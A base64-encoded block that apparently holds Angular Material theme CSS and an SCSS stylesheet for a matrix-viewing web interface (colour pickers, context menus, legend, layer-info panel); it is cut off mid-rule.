Lm1hdC10YWItbGFiZWwubWF0LXRhYi1kaXNhYmxlZCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItbGluay5tYXQtdGFiLWRpc2FibGVke2NvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbiwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC10YWItaGVhZGVyLXBhZ2luYXRpb24tY2hldnJvbntib3JkZXItY29sb3I6I2ZmZn0ubWF0LXRhYi1ncm91cC5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb24sLm1hdC10YWItbmF2LWJhci5tYXQtYmFja2dyb3VuZC13YXJuIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWRpc2FibGVkIC5tYXQtdGFiLWhlYWRlci1wYWdpbmF0aW9uLWNoZXZyb257Ym9yZGVyLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjQpfS5tYXQtdGFiLWdyb3VwLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LXRhYi1uYXYtYmFyLm1hdC1iYWNrZ3JvdW5kLXdhcm4gLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsLjEyKX0ubWF0LXRvb2xiYXJ7YmFja2dyb3VuZDojZjVmNWY1O2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LXRvb2xiYXIubWF0LXByaW1hcnl7YmFja2dyb3VuZDojM2Y1MWI1O2NvbG9yOiNmZmZ9Lm1hdC10b29sYmFyLm1hdC1hY2NlbnR7YmFja2dyb3VuZDojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC10b29sYmFyLm1hdC13YXJue2JhY2tncm91bmQ6I2Y0NDMzNjtjb2xvcjojZmZmfS5tYXQtdG9vbGJhciAubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZSwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZSwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZXtiYWNrZ3JvdW5kLWNvbG9yOmN1cnJlbnRDb2xvcn0ubWF0LXRvb2xiYXIgLm1hdC1mb2N1c2VkIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LXRvb2xiYXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLC5tYXQtdG9vbGJhciAubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1zZWxlY3QtYXJyb3csLm1hdC10b29sYmFyIC5tYXQtc2VsZWN0LWFycm93LC5tYXQtdG9vbGJhciAubWF0LXNlbGVjdC12YWx1ZXtjb2xvcjppbmhlcml0fS5tYXQtdG9vbGJhciAubWF0LWlucHV0LWVsZW1lbnR7Y2FyZXQtY29sb3I6Y3VycmVudENvbG9yfS5tYXQtdG9vbHRpcHtiYWNrZ3JvdW5kOnJnYmEoOTcsOTcsOTcsLjkpfS5tYXQtdHJlZXtiYWNrZ3JvdW5kOiNmZmZ9Lm1hdC1uZXN0ZWQtdHJlZS1ub2RlLC5tYXQtdHJlZS1ub2Rle2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LXNuYWNrLWJhci1jb250YWluZXJ7Y29sb3I6cmdiYSgyNTUsMjU1LDI1NSwuNyk7YmFja2dyb3VuZDojMzIzMjMyO2JveC1zaGFkb3c6MCAzcHggNXB4IC0xcHggcmdiYSgwLDAsMCwuMiksMCA2cHggMTBweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCAxOHB4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtc2ltcGxlLXNuYWNrYmFyLWFjdGlvbntjb2xvcjojZmY0MDgxfSIsIkBpbXBvcnQgXCIuLi8uLi9jb2xvcnMuc2Nzc1wiO1xuQGltcG9ydCBcIi4uLy4uL3N0eWxlcy5zY3NzXCI7XG5cbiRjZWxsU2l6ZTogMTVweDtcblxuLy8gIF8gIF8gX19fIF9fXyBfICBfIF8gICAgX19fIF9fXyBfICBfIF9fX19fIF9fXyBfICBfICBfX19cbi8vIHwgfHwgfF8gXy8gX198IHx8IHwgfCAgfF8gXy8gX198IHx8IHxfICAgX3xfIF98IFxcfCB8LyBfX3xcbi8vIHwgX18gfHwgfCAoXyB8IF9fIHwgfF9fIHwgfCAoXyB8IF9fIHwgfCB8ICB8IHx8IC5gIHwgKF8gfFxuLy8gfF98fF98X19fXFxfX198X3x8X3xfX19ffF9fX1xcX19ffF98fF98IHxffCB8X19ffF98XFxffFxcX19ffFxuXG5cblxuXG4gLy8gIF9fICBfXyAgIF8gICBfX18gXyAgXyAgIF9fX19fIF8gICBfX18gXyAgICBfX19cbiAvLyB8ICBcXC8gIHwgL19cXCB8XyBffCBcXHwgfCB8XyAgIF8vX1xcIHwgXyApIHwgIHwgX198XG4gLy8gfCB8XFwvfCB8LyBfIFxcIHwgfHwgLmAgfCAgIHwgfC8gXyBcXHwgXyBcXCB8X198IF98XG4gLy8gfF98ICB8Xy9fLyBcXF9cXF9fX3xffFxcX3wgICB8Xy9fLyBcXF9cXF9fXy9fX19ffF9fX3xcblxuXG4vLyBjb250ZW50IG9mIGVhY2ggdGFiXG4ubWF0cmljZXMge1xuICAgIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgICBtaW4taGVpZ2h0OiA1MHZoO1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICRwYW5lbC1kYXJrO1xuICAgIC5tYXRyaWNlcy1jb2x1bW5zIHtcbiAgICAgICAgLy8gd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgZGlzcGxheTogdGFibGU7XG4gICAgICAgIC5tYXRyaXgtY29sdW1uIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IHRhYmxlLWNlbGw7XG4gICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICAgICAgICAgICAgLy8gZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgcGFkZGluZzogMTBweDtcbiAgICAgICAgICAgIC5tYXRyaXgtbmFtZSB7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogNXB4O1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgJHBhbmVsLWRhcms7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmKy5tYXRyaXgtY29sdW1uIHtcbiAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkICRwYW5lbC1kYXJrO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxufVxuXG5cblxuLm11bHRpc2VsZWN0LWRyb3Bkb3due1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbn1cblxuLmNvbG9ycGlja2VyIHtcbiAgICB3aWR0aDogKCRjZWxsU2l6ZSArIDUgKyAyKSAqIDQgIWltcG9ydGFudDsgLy9vdmVycmlkZSBwcmVzZXQgd2lkdGhcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAuY29sb3ItYmxvY2sge1xuICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrO1xuICAgICAgICBtYXJnaW46IDIuNXB4O1xuICAgICAgICAmLnNxdWFyZSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICB3aWR0aDogJGNlbGxTaXplO1xuICAgICAgICAgICAgaGVpZ2h0OiAkY2VsbFNpemU7XG4gICAgICAgIH1cbiAgICAgICAgJi53aWRlIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgaGVpZ2h0OiAkY2VsbFNpemU7XG4gICAgICAgICAgICBmb250LXNpemU6IDEwcHQ7XG4gICAgICAgICAgICBjb2xvcjogZGFya2VuKHdoaXRlLCA1MCUpO1xuICAgICAgICB9XG4gICAgfVxufVxuXG4vL2NvbG9yIGNvbnRyb2xzXG4kcGFuZWwtbGlnaHQ6IGxpZ2h0ZW4oJHBhbmVsLWRhcmssIDglKTtcbi5jb2xvclNldHVwIHtcbiAgICBmb250LXNpemU6IDhwdDtcbiAgICAuY29sb3JwaWNrZXIge1xuICAgICAgICB3aWR0aDogMTBleDtcbiAgICB9XG4gICAgLmdyYWRpZW50LXNlY3Rpb24tbGFiZWwge1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgcGFkZGluZzogNHB4O1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgfVxuICAgIC5ncmFkaWVudC1zZWN0aW9uLWNvbnRlbnQge1xuICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICB9XG4gICAgLmRpc3BsYXktYnV0dG9ucyB7XG4gICAgICAgIC8vIHdpZHRoOiAxODNweDtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuXG4gICAgICAgIC5zcXVhcmVidXR0b24ge1xuICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgJHBhbmVsLWRhcms7XG4gICAgICAgICAgICBwYWRkaW5nOiA0cHggMDtcbiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICRwYW5lbC1saWdodDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuZ3JhZGllbnQ6aG92ZXIge1xuICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyAvL3NpbmNlIGJhY2tncm91bmQgY29sb3Igd29uJ3QgYmUgc2VlbiBvbiBncmFkaWVudCBidXR0b25zXG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICAucHJlc2V0c21lbnUge1xuICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgfVxuXG4gICAgfVxuICAgIC5ncmFkaWVudC1jb250cm9scyB7XG4gICAgICAgIC8vIHdpZHRoOiAyMDBweDtcblxuICAgICAgICB0YWJsZSB7XG4gICAgICAgICAgICBwYWRkaW5nOjA7IG1hcmdpbjowO1xuICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgICAgICAgICAgIC8vIHNlbGVjdCwgYnV0dG9uIHtcbiAgICAgICAgICAgIC8vICAgICBmb250LWZhbWlseTogJ1JvYm90byBNb25vJywgbW9ub3NwYWNlO1xuICAgICAgICAgICAgLy8gICAgIGZvbnQtc2l6ZTogOHB0O1xuICAgICAgICAgICAgLy8gfVxuXG4gICAgICAgICAgICAvLyBib3JkZXI6IDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgICAgIHRkIHtcbiAgICAgICAgICAgICAgICAmLmJ1dHRvbnM+ZGl2IHtcbiAgICAgICAgICAgICAgICAgICAgLy8gYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgICAgICAgICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIC5sZWZ0LCAucmlnaHQgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IH1cblxuICAgICAgICAgICAgICAgIC5sZWZ0IHtcbiAgICAgICAgICAgICAgICAgICAgZmxvYXQ6IGxlZnRcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAucmlnaHQge1xuICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgICAgICAgICAgICAgICBzZWxlY3Qge1xuICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDgwcHg7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgLy8gd2lkdGg6IDEwMCU7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJi5jb2wyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDQ1cHg7XG4gICAgICAgICAgICAgICAgICAgIGlucHV0W3R5cGU9bnVtYmVyXSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAvLyBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMTA0LCA2MCwgMjEzKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiA0MHB4XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAubWlubWF4IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWxpZ2h0O1xuICAgICAgICAgICAgICAgIC8vICYudG9wIHsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIGJsYWNrOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgYmxhY2t9XG4gICAgICAgICAgICAgICAgLy8gJi5ib3R0b20geyBib3JkZXItdG9wOiAxcHggc29saWQgYmxhY2t9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgLy8gYnV0dG9uIHtiYWNrZ3JvdW5kOiByZWQ7fVxuICAgICAgICAuYWRkY29sb3Ige1xuICAgICAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgICAgICAvLyBiYWNrZ3JvdW5kOiByZWQ7XG4gICAgICAgIH1cbiAgICB9XG59XG5cbi5zZWxlY3RfYmVoYXZpb3Ige1xuICAgIHBhZGRpbmc6IDVweDtcbiAgICB0ZXh0LWFsaWduOiBsZWZ0O1xufVxuXG4uY29udGV4dE1lbnUtY292ZXIge1xuICAgIC8vIGNvdmVycyBlbnRpcmUgcGFnZVxuICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICBsZWZ0OiAwO1xuICAgIHRvcDogMDtcbiAgICB3aWR0aDogMTAwdnc7XG4gICAgaGVpZ2h0OiAxMDB2aDtcbiAgICAvLyBiYWNrZ3JvdW5kOiByZ2JhKDAsIDAsIDAsIDAuMTUpO1xufVxuLmNvbnRleHRNZW51LWJveCB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIC8vIGJhY2tncm91bmQ6IHdoaXRlO1xuICAgICYubGVmdCB7IHJpZ2h0OiAwIH1cbiAgICBib3JkZXI6IDFweCBzb2xpZCBibGFjaztcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTtcbiAgICBib3gtc2hhZG93OiAxMHB4IDEwcHggNXB4IHJnYmEoMCwgMCwgMCwgMC41KTtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgei1pbmRleDogMTAwOyAvL2RyYXcgb24gdG9wIG9mIG90aGVyIGNvbnRyb2xzXG4gICAgd2lkdGg6IG1heC1jb250ZW50O1xuXG4gICAgLmNvbnRleHRNZW51LXNlY3Rpb24ge1xuICAgICAgICAmOm5vdCg6Zmlyc3QtY2hpbGQpIHtcbiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgIG1hcmdpbi10b3A6IDJweDtcbiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAycHg7XG5cbiAgICAgICAgfVxuICAgICAgICAuY29udGV4dE1lbnUtYnV0dG9uIHtcbiAgICAgICAgICAgIHBhZGRpbmc6IDNweDtcbiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICRjZWxsLWhpZ2hsaWdodC1jb2xvcjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cblxufVxuXG4vLyAudG9vbHRpcCB7XG4vLyAgICAgcG9zaXRpb246IGFic29sdXRlO1xuLy8gICAgIHotaW5kZXg6IDEwMDsgLy9kcmF3IG9uIHRvcCBvZiBvdGhlciBjb250cm9sc1xuXG4vLyAgICAgcGFkZGluZzogNnB4O1xuLy8gICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbi8vICAgICBiYWNrZ3JvdW5kOiByZ2JhKDgwLCA4MCwgODAsIDAuNzUpO1xuXG4vLyAgICAgZm9udC1zaXplOiA4cHQ7XG4vLyAgICAgY29sb3I6IHdoaXRlO1xuXG4vLyAgICAgbWF4LXdpZHRoOiAxNTBweDtcbi8vICAgICBvdmVyZmxvdy14OiBoaWRkZW47XG5cbi8vICAgICAuY29tbWVudCB7XG4vLyAgICAgICAgIG1heC1oZWlnaHQ6IDMwMHB4O1xuLy8gICAgICAgICBvdmVyZmxvdy15OiBoaWRkZW47XG4vLyAgICAgfVxuXG4vLyAgICAgLmNvbW1lbnQtb3ZlcmZsb3ctbm90ZSB7XG4vLyAgICAgICAgIC8vIGNvbG9yOiByZ2IoMjU1LCAxOTksIDE5MCk7XG4vLyAgICAgfVxuLy8gICAgIC5tZXRhZGF0YWxpc3Qge1xuLy8gICAgICAgICBtYXJnaW46IDA7XG4vLyAgICAgICAgIG1hcmdpbi10b3A6IDFweDtcbi8vICAgICAgICAgcGFkZGluZy1sZWZ0OiA2cHg7XG4vLyAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG5cbi8vICAgICB9XG5cbi8vIH1cblxuLm1hdC1zZWxlY3R7OmZvY3VzIHtcbiAgICBjb2xvcjogIzYzOTYxQztcbn19XG5cbi5maWx0ZXJzIHtcbiAgICBwYWRkaW5nOiA0cHg7XG4gICAgLmZpbHRlciB7XG4gICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgICY6bm90KDpmaXJzdC1jaGlsZCkge1xuICAgICAgICAgICAgbWFyZ2luLXRvcDogNHB4O1xuICAgICAgICB9XG4gICAgICAgIC5maWx0ZXItbGFiZWwge1xuXG4gICAgICAgIH1cbiAgICAgICAgLmZpbHRlci1vcHRpb24ge1xuICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJGNlbGwtaGlnaGxpZ2h0LWNvbG9yO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxufVxuXG4ubXVsdGlzZWxlY3Qge1xuICAgIC8vIHBhZGRpbmc6IDRweDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgLm11bHRpc2VsZWN0LWdyb3VwaW5nIHtcbiAgICAgICAgLm11bHRpc2VsZWN0LWdyb3VwaW5nLWxhYmVsIHtcbiAgICAgICAgICAgIHBhZGRpbmc6IDRweDtcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgICAgICAgLy8gZm9udC1zaXplOiAxNHB0O1xuICAgICAgICB9XG4gICAgICAgIC5tdWx0aXNlbGVjdC1saXN0IHtcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICBoZWlnaHQ6IDIwMHB4O1xuICAgICAgICAgICAgb3ZlcmZsb3cteTogc2Nyb2xsO1xuICAgICAgICAgICAgdGFibGUge1xuICAgICAgICAgICAgICAgIC8vIHRhYmxlLWxheW91dDpmaXhlZDsgLy9maXhlcyB3aWR0aFxuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAubXVsdGlzZWxlY3QtbGlzdC1pdGVtIHtcbiAgICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJGNlbGwtaGlnaGxpZ2h0LWNvbG9yO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAubXVsdGlzZWxlY3QtbGlzdC1pdGVtLWxhYmVsIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDI1ZXg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICYuc2VsZWN0ZWQ6bm90KDpob3Zlcikge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cbi5zZWFyY2gge1xuICAgIC8vIHBhZGRpbmc6IDRweDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgLnNlYXJjaC1saXN0IHtcbiAgICAgICAgbWFyZ2luLXRvcDoycHg7XG4gICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGJsYWNrO1xuICAgICAgICBoZWlnaHQ6IDMwMHB4O1xuICAgICAgICBvdmVyZmxvdy15OiBzY3JvbGw7XG4gICAgICAgIHRhYmxlIHtcbiAgICAgICAgICAgIC8vIHRhYmxlLWxheW91dDpmaXhlZDsgLy9maXhlcyB3aWR0aFxuICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgICAgICAgICAgIHdpZHRoOiAzMjVweDtcbiAgICAgICAgfVxuICAgICAgICAuc2VhcmNoLWxpc3QtaXRlbSB7XG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAkY2VsbC1oaWdobGlnaHQtY29sb3I7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2VhcmNoLWxpc3QtaXRlbS1sYWJlbCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDI1ZXg7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNlbGVjdGVkOm5vdCg6aG92ZXIpIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbn1cblxuLnNlYXJjaC1idXR0b24ge1xuICAgICY6aG92ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kOiAkY2VsbC1oaWdobGlnaHQtY29sb3I7XG4gICAgfVxuICB9XG5cbi5idXR0b24ge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICRwYW5lbC1kYXJrO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgLy9mb250LXNpemU6IDE2cHg7XG4gICAgbWFyZ2luOiAycHggMXB4O1xuICAgIHRyYW5zaXRpb246IDAuM3M7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6ICRidXR0b24tZGFyaztcbiAgICB9XG4gIH1cblxuLmRlc2VsZWN0TnVtYmVyIHtcbiAgICBmb250LXNpemU6IDVwdDtcbiAgICBib3R0b206IDJweDtcbiAgICByaWdodDogNHB4O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0ZXh0LWFsaWduOiByaWdodDtcbn1cblxuLmxlZ2VuZCB7XG4gICAgcG9zaXRpb246IGZpeGVkO1xuICAgIGJvdHRvbTogMDtcbiAgICByaWdodDogMDtcbiAgICB3aWR0aDozMDBweDtcbiAgICBoZWlnaHQ6MzAwcHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG4gICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAkcGFuZWwtZGFyaztcbiAgICAuaXRlbUFyZWEge1xuICAgICAgICBwb3NpdGlvbjogc3RhdGljO1xuICAgICAgICBvdmVyZmxvdy15OiBzY3JvbGw7XG4gICAgICAgIG1hcmdpbi10b3A6MzBweDtcbiAgICAgICAgaGVpZ2h0OjI3MHB4O1xuICAgICAgICB3aWR0aDoxMDAlO1xuICAgICAgICBvdmVyZmxvdy14OmhpZGRlbjtcbiAgICAgICAgLml0ZW0ge1xuICAgICAgICAgICAgd2lkdGg6MTAwJTtcbiAgICAgICAgICAgIGhlaWdodDo0MHB4O1xuICAgICAgICAgICAgcGFkZGluZy1sZWZ0OjVweDtcbiAgICAgICAgICAgIC5sYWJlbCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6MTBweDtcbiAgICAgICAgICAgICAgICB3aWR0aDoxNTBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICB9XG4gICAgICAgIC5ldmVuIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICRwYW5lbC1saWdodDtcbiAgICAgICAgICAgIHdpZHRoOjEwMCU7XG4gICAgICAgICAgICBoZWlnaHQ6NDBweDtcbiAgICAgICAgICAgIC5sYWJlbCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6MTBweDtcbiAgICAgICAgICAgICAgICB3aWR0aDoxNTBweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbn1cblxuLmxlZ2VuZEJhciB7XG4gICAgcG9zaXRpb246IGZpeGVkO1xuICAgIGJvdHRvbTogMDtcbiAgICByaWdodDogMDtcbiAgICB3aWR0aDozMDBweDtcbiAgICBoZWlnaHQ6MzBweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAkcGFuZWwtZGFyaztcbiAgICB0cmFuc2l0aW9uOiAwLjNzO1xuICAgICY6aG92ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kOiAkY2VsbC1oaWdobGlnaHQtY29sb3I7XG4gICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICB9XG59XG5cbi5sYXllcl9pbmZvIHtcbiAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7XG4gICAgYm94LXNpemluZzogYm9yZGVyLWJveCAhaW1wb3J0YW50O1xuICAgIHdpZHRoOiAyNTBweCAhaW1wb3J0YW50O1xuICAgIC5uYW1lX2Rlc2Mge1xuICAgICAgICBwYWRkaW5nOiAwIDEwcHg7XG4gICAgfVxuICAgIC5tZXRhZGF0YV9pbnB1dCB7XG4gICAgICAgIHBhZGRpbmctbGVmdDogMTBweDtcbiAgICAgICAgLy8gcGFkZGluZy1ib3R0b206IDVweDsgXG4gICAgICAgIG1hcmdpbi1ib3R0b206IDJweDsgLy9maXggZnVua3kgc2Nyb2xsIG92ZXJmbG93XG4gICAgICAgIG1heC1oZWlnaHQ6IDUwdmg7XG4gICAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgIHRhYmxlIHtcbiAgICAgICAgICAgIGJvcmRlci1zcGFjaW5nOiA1cHggMTVweDtcbiAgICAgICAgICAgIC8vIHdpZHRoOiA1MDBweDtcbiAgICAgICAgICAgIC8vIHBhZGRpbmc6IDA7XG4gICAgICAgICAgICAvLyBtYXJnaW46IDA7XG4gICAgICAgICAgICAvLyBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgLmZvcm1maWVsZC1ncm91cCB7XG4gICAgICAgICAgICAgICAgLy8gJjpub3QoOmZpcnN0LWNoaWxkKSB7IG1hcmdpbi1ib3R0b206IDVweDsgfVxuICAgICAgICAgICAgICAgIHRkOmZpcnN0LWNoaWxkIHsgYm9yZGVyLXdpZHRoOiAxcHggMCAxcHggMXB4OyBib3JkZXItY29sb3I6IGJsYWNrOyBib3JkZXItc3R5bGU6IHNvbGlkOyB3aWR0aDogNXB4fVxuICAgICAgICAgICAgICAgIC8vIGJvcmRlci1sZWZ0OiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICAgICAgLy8gcGFkZGluZy1sZWZ0OiA1cHg7XG4gICAgICAgICAgICAgICAgLy8gJjpub3QoOmZpcnN0LWNoaWxkKSB7IG1hcmdpbi10b3A6IDEwcHg7fVxuICAgICAgICAgICAgICAgIGJ1dHRvbiB7IG1hcmdpbi1ib3R0b206IDRweDsgfVxuI